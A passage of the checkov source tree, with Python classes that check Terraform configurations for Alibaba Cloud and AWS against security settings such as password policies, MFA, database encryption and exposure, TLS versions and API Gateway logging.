= ['alicloud_oss_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'transfer_acceleration/[0]/enabled' check = OSSBucketTransferAcceleration() ================================================ FILE: checkov/terraform/checks/resource/alicloud/OSSBucketVersioning.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class OSSBucketVersioning(BaseResourceValueCheck): def __init__(self): name = "Ensure OSS bucket has versioning enabled" id = "CKV_ALI_10" supported_resources = ['alicloud_oss_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'versioning/[0]/status' def get_expected_value(self): return 'Enabled' check = OSSBucketVersioning() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyExpiration.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.util.type_forcers import force_int class PasswordPolicyExpiration(BaseResourceValueCheck): def __init__(self): name = "Ensure RAM password policy expires passwords within 90 days or less" id = "CKV_ALI_16" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'max_password_age' def get_expected_value(self): return 90 def scan_resource_conf(self, conf): """ validates ram password policy https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy :param conf: alicloud_ram_account_password_policy configuration :return: """ key = 'max_password_age' if key in conf.keys(): max_age = conf[key][0] if self._is_variable_dependant(max_age): return CheckResult.UNKNOWN max_age = force_int(max_age) if max_age and 0 < max_age <= 90: return CheckResult.PASSED return CheckResult.FAILED check = PasswordPolicyExpiration() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLength.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.util.type_forcers import force_int class PasswordPolicyLength(BaseResourceValueCheck): def __init__(self): name = "Ensure RAM password policy requires minimum length of 14 or greater" id = "CKV_ALI_13" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'minimum_password_length' def get_expected_value(self): return 14 def scan_resource_conf(self, conf): """ validates ram password policy https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy :param conf: alicloud_ram_account_password_policy configuration :return: """ key = 'minimum_password_length' if key in conf.keys(): length = conf[key][0] if self._is_variable_dependant(length): return CheckResult.UNKNOWN length = force_int(length) if not (length and length < 14): return CheckResult.PASSED return CheckResult.FAILED check = PasswordPolicyLength() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLowercaseLetter.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicyLowercaseLetter(BaseResourceValueCheck): def __init__(self): name = "Ensure RAM password policy requires at least one lowercase letter" id = "CKV_ALI_17" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_lowercase_characters' check = PasswordPolicyLowercaseLetter() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyMaxLogin.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.util.type_forcers import force_int class PasswordPolicyMaxLogin(BaseResourceValueCheck): def __init__(self): name = "Ensure Ram Account Password Policy Max Login Attempts not > 5" id = "CKV_ALI_23" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'max_login_attempts' def get_expected_value(self): return 3 def scan_resource_conf(self, conf): """ validates ram password policy https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy :param conf: alicloud_ram_account_password_policy configuration :return: """ if conf.get('max_login_attempts'): length = force_int(conf.get('max_login_attempts')[0]) if length is None: return CheckResult.UNKNOWN if length <= 5: return CheckResult.PASSED self.evaluated_keys = ["max_login_attempts"] return CheckResult.FAILED return CheckResult.PASSED check = PasswordPolicyMaxLogin() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyNumber.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicyNumber(BaseResourceValueCheck): def __init__(self): name = "Ensure RAM password policy requires at least one number" id = "CKV_ALI_14" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_numbers' check = PasswordPolicyNumber() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyReuse.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.util.type_forcers import force_int class PasswordPolicyReuse(BaseResourceValueCheck): def __init__(self): name = "Ensure RAM password policy prevents password reuse" id = "CKV_ALI_18" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'password_reuse_prevention' def get_expected_value(self): return 24 def scan_resource_conf(self, conf): """ validates ram password policy https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy :param conf: alicloud_ram_account_password_policy configuration :return: """ key = 'password_reuse_prevention' if key in conf.keys(): reuse = conf[key][0] if self._is_variable_dependant(reuse): return CheckResult.UNKNOWN reuse = force_int(reuse) if not (reuse and reuse < 24): return CheckResult.PASSED return CheckResult.FAILED check = PasswordPolicyReuse() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicySymbol.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicySymbol(BaseResourceValueCheck): def __init__(self): name = "Ensure RAM password policy requires at least one symbol" id = "CKV_ALI_15" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_symbols' check = PasswordPolicySymbol() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyUppcaseLetter.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicyUppcaseLetter(BaseResourceValueCheck): def __init__(self): name = "Ensure RAM password policy requires at least one uppercase letter" id = "CKV_ALI_19" supported_resources = ['alicloud_ram_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_uppercase_characters' check = PasswordPolicyUppcaseLetter() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RAMSecurityEnforceMFA.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RAMSecurityEnforceMFA(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RAM enforces MFA" id = "CKV_ALI_24" supported_resources = ("alicloud_ram_security_preference",) categories = (CheckCategories.IAM,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "enforce_mfa_for_login" check = RAMSecurityEnforceMFA() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSInstanceAutoUpgrade.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class RDSInstanceAutoUpgrade(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RDS instance auto upgrades for minor versions" id = "CKV_ALI_30" supported_resources = ("alicloud_db_instance",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "auto_upgrade_minor_version" def get_expected_value(self) -> Any: return "Auto" check = RDSInstanceAutoUpgrade() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSInstanceLogConnections.py ================================================ from checkov.terraform.checks.resource.alicloud.AbsRDSParameter import AbsRDSParameter class RDSInstanceLogConnections(AbsRDSParameter): def __init__(self): super().__init__(check_id="CKV_ALI_37", parameter="log_connections") check = RDSInstanceLogConnections() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSInstanceLogDisconnections.py ================================================ from checkov.terraform.checks.resource.alicloud.AbsRDSParameter import AbsRDSParameter class RDSInstanceLogDisconnections(AbsRDSParameter): def __init__(self): super().__init__(check_id="CKV_ALI_36", parameter="log_disconnections") check = RDSInstanceLogDisconnections() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSInstanceLogsEnabled.py ================================================ from checkov.terraform.checks.resource.alicloud.AbsRDSParameter import AbsRDSParameter class RDSInstanceLogsEnabled(AbsRDSParameter): def __init__(self): super().__init__(check_id="CKV_ALI_35", parameter="log_duration") check = RDSInstanceLogsEnabled() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSInstanceSSL.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import List, Any class RDSInstanceSSL(BaseResourceValueCheck): def __init__(self): name = "Ensure RDS instance uses SSL" id = "CKV_ALI_20" supported_resources = ['alicloud_db_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'ssl_action' def get_expected_values(self) -> List[Any]: return ["Open", "Update"] check = RDSInstanceSSL() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSIsPublic.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class RDSIsPublic(BaseResourceCheck): def __init__(self): name = "Ensure database instance is not public" id = "CKV_ALI_9" supported_resources = ['alicloud_db_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): security_ips = conf.get("security_ips") if security_ips and isinstance(security_ips, list): addresses = security_ips[0] if "0.0.0.0" in addresses or "0.0.0.0/0" in addresses: # nosec B104 self.evaluated_keys = ['security_ips'] return CheckResult.FAILED return CheckResult.PASSED check = RDSIsPublic() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSRetention.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class RDSRetention(BaseResourceCheck): def __init__(self) -> None: """ 'sql_collector_status' should be defined and set to "Enabled" (I know, really, who does that) and 'sql_collector_config_value' should be defined and set to 180 or more """ name = "Ensure RDS Instance SQL Collector Retention Period should be greater than 180" id = "CKV_ALI_25" supported_resources = ("alicloud_db_instance",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: collector_status = conf.get("sql_collector_status") if collector_status and isinstance(collector_status, list): if collector_status[0] != "Enabled": self.evaluated_keys = ["sql_collector_status"] return CheckResult.FAILED collector_config = conf.get("sql_collector_config_value") if collector_config and isinstance(collector_config, list): self.evaluated_keys = ["sql_collector_config_value"] if collector_config[0] >= 180: return CheckResult.PASSED return CheckResult.FAILED check = RDSRetention() ================================================ FILE: checkov/terraform/checks/resource/alicloud/RDSTransparentDataEncryptionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any supported_mysql_engines = ["5.6", "5.7", "8", "8.0"] supported_sql_engines = ["08r2_ent_ha", "2012_ent_ha", "2016_ent_ha", "2017_ent", "2019_std_ha", "2019_ent"] class RDSTransparentDataEncryptionEnabled(BaseResourceValueCheck): def __init__(self): """ Check valid db engines here: https://www.alibabacloud.com/help/en/apsaradb-for-rds/latest/create-an-instance """ name = "Ensure Transparent Data Encryption is Enabled on instance" id = "CKV_ALI_22" supported_resources = ['alicloud_db_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("engine") == ["MySQL"] or conf.get("engine") == ["SQLServer"]: if conf.get("engine_version") and isinstance(conf.get("engine_version"), list): if conf.get("engine_version")[0] in supported_mysql_engines or \ conf.get("engine_version")[0] in supported_sql_engines: if conf.get("tde_status") == ["Enabled"]: return CheckResult.PASSED self.evaluated_keys = ["engine_version"] return CheckResult.FAILED return CheckResult.UNKNOWN def get_inspected_key(self): return "tde_status" def get_expected_value(self) -> Any: return "Enabled" check = RDSTransparentDataEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress22.py ================================================ from checkov.terraform.checks.resource.alicloud.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_ALI_2", port=22) check = SecurityGroupUnrestrictedIngress22() ================================================ FILE: checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress3389.py ================================================ from checkov.terraform.checks.resource.alicloud.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_ALI_3", port=3389) check = SecurityGroupUnrestrictedIngress3389() ================================================ FILE: checkov/terraform/checks/resource/alicloud/TLSPoliciesAreSecure.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class TLSPoliciesAreSecure(BaseResourceNegativeValueCheck): def __init__(self): name = "Alibaba Cloud Cypher Policy are secure" id = "CKV_ALI_33" supported_resources = ['alicloud_slb_tls_cipher_policy'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'tls_versions' def get_forbidden_values(self): return ["TLSv1.1", "TLSv1.0"] check = TLSPoliciesAreSecure() ================================================ FILE: checkov/terraform/checks/resource/alicloud/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/aws/ACMCertCreateBeforeDestroy.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ACMCertCreateBeforeDestroy(BaseResourceValueCheck): def __init__(self): """ It is recommended to enable the resource lifecycle configuration block create_before_destroy argument in this resource configuration to manage all requests that use this cert, avoiding an outage. """ name = "Ensure Create before destroy for ACM certificates" id = "CKV_AWS_233" supported_resources = ['aws_acm_certificate'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "lifecycle/[0]/create_before_destroy" check = ACMCertCreateBeforeDestroy() ================================================ FILE: checkov/terraform/checks/resource/aws/ACMCertSetLoggingPreference.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult from typing import Any class ACMCertSetLoggingPreference(BaseResourceValueCheck): def __init__(self): """ To guard against SSL/TLS certificates that are issued by mistake or by a compromised CA, some browsers require that public certificates issued for your domain be recorded in a certificate transparency log. The domain name is recorded. The private key is not. Certificates that are not logged typically generate an error in the browser """ name = "Verify logging preference for ACM certificates" id = "CKV_AWS_234" supported_resources = ['aws_acm_certificate'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "options/[0]/certificate_transparency_logging_preference" def get_expected_value(self) -> Any: return "ENABLED" check = ACMCertSetLoggingPreference() ================================================ FILE: checkov/terraform/checks/resource/aws/ALBDesyncMode.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class ALBDesyncMode(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 AC-4(21), NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2 Classic Load Balancer and ALB should be configured with defensive or strictest desync mitigation mode """ name = "Ensure that ALB is configured with defensive or strictest desync mitigation mode" id = "CKV_AWS_328" supported_resources = ["aws_lb", "aws_alb", "aws_elb"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "desync_mitigation_mode" def get_forbidden_values(self): return "monitor" check = ALBDesyncMode() ================================================ FILE: checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class ALBDropHttpHeaders(BaseResourceValueCheck): def __init__(self): name = "Ensure that ALB drops HTTP headers" id = "CKV_AWS_131" supported_resources = ["aws_lb", "aws_alb"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("load_balancer_type") in (["gateway"], ["network"]): return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self): return "drop_invalid_header_fields" check = ALBDropHttpHeaders() ================================================ FILE: checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ALBListenerHTTPS(BaseResourceCheck): def __init__(self): name = "Ensure ALB protocol is HTTPS" id = "CKV_AWS_2" supported_resources = ['aws_lb_listener', 'aws_alb_listener'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ validates kms rotation https://www.terraform.io/docs/providers/aws/r/lb_listener.html :param conf: aws_kms_key configuration :return: """ self.evaluated_keys = ['protocol'] key = 'protocol' if key in conf.keys(): protocol = conf.get(key, [None])[0] if BaseResourceCheck._is_variable_dependant(protocol): return CheckResult.UNKNOWN if protocol in ("HTTPS", "TLS", "TCP", "UDP", "TCP_UDP"): return CheckResult.PASSED elif protocol == "HTTP": if 'default_action' in conf.keys(): default_action = conf['default_action'][0] action_type = default_action['type'] if action_type == ['redirect'] and 'redirect' in default_action: protocol = default_action['redirect'][0].get('protocol') if protocol == ['HTTPS']: self.evaluated_keys = ['default_action/[0]/redirect/[0]/protocol'] return CheckResult.PASSED elif protocol is None: return CheckResult.UNKNOWN return CheckResult.FAILED check = ALBListenerHTTPS() ================================================ FILE: checkov/terraform/checks/resource/aws/AMICopyIsEncrypted.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AMICopyIsEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure that copied AMIs are encrypted" id = "CKV_AWS_235" supported_resources = ['aws_ami_copy'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encrypted" check = AMICopyIsEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/AMICopyUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class AMICopyUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure AMI copying uses a CMK" id = "CKV_AWS_236" supported_resources = ['aws_ami_copy'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = AMICopyUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/AMIEncryption.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AMIEncryptionWithCMK(BaseResourceCheck): def __init__(self): name = "Ensure AMIs are encrypted using KMS CMKs" id = "CKV_AWS_204" supported_resources = ['aws_ami'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get('ebs_block_device'): mappings = conf.get('ebs_block_device') self.evaluated_keys = ["ebs_block_device"] for mapping_idx, mapping in enumerate(mappings): if not mapping.get("snapshot_id"): if not mapping.get("encrypted"): return CheckResult.FAILED if mapping.get("encrypted")[0] is False: self.evaluated_keys.append(f"ebs_block_device/[{mapping_idx}]/encrypted") return CheckResult.FAILED # pass thru return CheckResult.PASSED check = AMIEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/AMILaunchIsShared.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AMILaunchIsShared(BaseResourceCheck): def __init__(self): name = "Ensure to Limit AMI launch Permissions" id = "CKV_AWS_205" supported_resources = ['aws_ami_launch_permission'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): return CheckResult.FAILED check = AMILaunchIsShared() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class APIGatewayAccessLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway has Access Logging enabled" id = "CKV_AWS_76" supported_resources = ['aws_api_gateway_stage', 'aws_apigatewayv2_stage'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "access_log_settings/[0]/destination_arn" def get_expected_value(self): return ANY_VALUE check = APIGatewayAccessLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayAuthorization.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class APIGatewayAuthorization(BaseResourceCheck): def __init__(self): name = "Ensure there is no open access to back-end resources through API" id = "CKV_AWS_59" supported_resources = ['aws_api_gateway_method'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'http_method' in conf and conf['http_method'][0] != "OPTIONS" and ('authorization' not in conf or conf['authorization'][0] == "NONE") \ and ('api_key_required' not in conf or conf['api_key_required'][0] is False): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['http_method', 'authorization', 'api_key_required'] check = APIGatewayAuthorization() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayCacheEnable(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway caching is enabled" id = "CKV_AWS_120" supported_resources = ['aws_api_gateway_stage'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "cache_cluster_enabled" check = APIGatewayCacheEnable() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayCreateBeforeDestroy.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayCreateBeforeDestroy(BaseResourceValueCheck): def __init__(self): """ It is recommended to enable the resource lifecycle configuration block create_before_destroy argument in this resource configuration to manage all requests that use this API, avoiding an outage. """ name = "Ensure Create before destroy for API Gateway" id = "CKV_AWS_237" supported_resources = ['aws_api_gateway_rest_api'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "lifecycle/[0]/create_before_destroy" check = APIGatewayCreateBeforeDestroy() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayDeploymentCreateBeforeDestroy.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayDeploymentCreateBeforeDestroy(BaseResourceValueCheck): def __init__(self): """ It is recommended to enable the resource lifecycle configuration block create_before_destroy argument in this resource configuration to properly order redeployments in Terraform. Without enabling create_before_destroy, API Gateway can return errors such as BadRequestException: Active stages pointing to this deployment must be moved or deleted on recreation. """ name = "Ensure Create before destroy for API deployments" id = "CKV_AWS_217" supported_resources = ['aws_api_gateway_deployment'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "lifecycle/[0]/create_before_destroy" check = APIGatewayDeploymentCreateBeforeDestroy() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayDomainNameTLS.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any, List class APIGatewayDomainNameTLS(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway Domain uses a modern security Policy" id = "CKV_AWS_206" supported_resources = ["aws_api_gateway_domain_name"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "security_policy" def get_expected_values(self) -> List[Any]: # https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-security-policies-list.html return [ "TLS_1_2", "SecurityPolicy_TLS12_2018_EDGE", "SecurityPolicy_TLS12_PFS_2025_EDGE", "SecurityPolicy_TLS13_1_2_2021_06", "SecurityPolicy_TLS13_1_2_PFS_PQ_2025_09", "SecurityPolicy_TLS13_1_2_PQ_2025_09", "SecurityPolicy_TLS13_1_3_2025_09", "SecurityPolicy_TLS13_1_3_FIPS_2025_09", "SecurityPolicy_TLS13_2025_EDGE", ] check = APIGatewayDomainNameTLS() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayMethodSettingCacheEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway method setting caching is enabled" id = "CKV_AWS_225" supported_resources = ['aws_api_gateway_method_settings'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "settings/[0]/caching_enabled" check = APIGatewayMethodSettingCacheEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEncrypted.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class APIGatewayMethodSettingCacheEncrypted(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-3(6), NIST.800-53.r5 SC-13, NIST.800-53.r5 SC-28, NIST.800-53.r5 SC-28(1), NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SI-7(6) """ name = "Ensure API Gateway method setting caching is set to encrypted" id = "CKV_AWS_308" supported_resources = ['aws_api_gateway_method_settings'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "settings/[0]/cache_data_encrypted" def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: settings = conf.get("settings", {}) if settings and len(settings) == 1: settings = settings[0] cache_enabled = settings.get("caching_enabled", [False]) if isinstance(cache_enabled, list) and len(cache_enabled) == 1: cache_enabled = cache_enabled[0] if cache_enabled: cache_encrypted = settings.get("cache_data_encrypted", [False]) if isinstance(cache_encrypted, list) and len(cache_encrypted) == 1: cache_encrypted = cache_encrypted[0] if not cache_encrypted: return CheckResult.FAILED return CheckResult.PASSED check = APIGatewayMethodSettingCacheEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsDataTrace.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayMethodSettingsDataTrace(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Data Trace is not enabled in API Gateway Method Settings" id = "CKV_AWS_276" supported_resources = ('aws_api_gateway_method_settings',) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "settings/[0]/data_trace_enabled" def get_forbidden_values(self): return [True] check = APIGatewayMethodSettingsDataTrace() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayMethodWOAuth.py ================================================ from __future__ import annotations from typing import Any, Dict from checkov.common.graph.graph_builder import CustomAttributes from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums 